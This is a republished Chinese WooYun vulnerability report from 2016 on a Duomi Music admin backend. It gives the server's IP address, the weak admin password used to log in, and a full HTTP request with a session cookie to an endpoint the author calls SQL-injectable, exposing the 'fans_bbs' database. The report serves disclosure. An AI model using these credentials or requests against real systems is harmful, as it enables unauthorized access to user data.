多米音乐某后台缺陷+sql注入导致大量用户信息泄露

admin
admin
admin
140390
文章
117
评论
2017年3月27日00:05:03评论346 views字数 220阅读0分44秒阅读模式
摘要

2016-03-22： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-05-06： 厂商已经主动忽略漏洞，细节向公众公开

漏洞概要 关注数(1) 关注此漏洞

缺陷编号： WooYun-2016-186995

漏洞标题： 多米音乐某后台缺陷+sql注入导致大量用户信息泄露

相关厂商： 多米音乐

漏洞作者： fuzz-ing

提交时间： 2016-03-22 13:38

公开时间： 2016-05-06 13:38

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 未联系到厂商或者厂商积极忽略

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

0人收藏

漏洞详情

披露状态：

2016-03-22： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-05-06： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

..

详细说明：

厂商悄悄修复以前的漏洞，然后换套系统，然并卵

其实我并没有看以前的漏洞，偶然发现的 http://59.151.12.39/admin/PostsManager/NewPostsList.aspx

弱口令admin 123456进去后发现很多信息，各种审核权限最新的信息，这就不说了

然后这里有个注入

多米音乐某后台缺陷+sql注入导致大量用户信息泄露

code 区域 
POST /admin/PostsManager/PostsHandler.ashx?action=GetNewList HTTP/1.1
 Host: 59.151.12.39
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:44.0) Gecko/20100101 Firefox/44.0
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Referer: http://59.151.12.39/admin/PostsManager/NewPostsList.aspx
 Content-Length: 82
 Cookie: ASP.NET_SessionId=vq0povionfnoujdgm2bylkxx; .ASPXFORMSDEMO=98E8766297A14D6EFB4CE0E97D30B698A9F0D0CF62A02A0E44E9525B13427A84FA807959D97DC45DD884C509017C82B6AD49D9D73E2585B40B7AC5CCEFB144F6B5C9806F22900F90A2DC61655E3E8AF4CDB3FFEBD0369B54612858C0DB0C9093822F35AB409AD7122C8A3DE8F4F3D95AB60C309B35494AAA270882AD03268CCB8DFF231ED3985D961494CA7087AC6AF2B2F54F0342B319204BF82566B8314D85D41642C6348EE70B7488CDBA2F9C797F82842AF63AA159A7940FC211FDED947642988558B959016993E7DFA8981C7B344FDF1B2C2E13411896ABBB6D0C603141C714A1F35844CA5FDC26E33BE4AE57D02114B91C39437A308B9DFC286054564C175259C0F72BA761C46496E452F25F5220C742CF3CFA703F0451D40DFC2BDD1AA0089640E04648511B7C21617755E664B3AB66FDEBE47559423B4A4DED5C51763D82E8E8570258BF3A1DEF43F9F79216ED0503FA3DC9C1D8BED5AAB7577A10E58BB97ACFE09969F49E0991343241EA0AE30CF067EF1077D6CE43E30CB0CC7047679586100C55AF8EC99902B2E57891685F4BE4D471203BAD2431E14A6553C43D6192176D0E2E4716E03D513374D2029B8FC6123DAA044B92198E65D47CABA03205146CB6765CD61C601305AE5241C681B2AFE04383939314AB769A216E6EA6465B928EF8A785C7DF3A23B894423502C6
 Connection: close
 
 title=1&startTime=2016%2F03%2F19&endTime=2016%2F03%2F20&status=0&start=0&length=10

当前数据库，看名字就知道量很大

current database: 'fans_bbs'

漏洞证明：

current database: 'fans_bbs'

修复方案：

悄悄修复

版权声明：转载请注明来源 fuzz-ing@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin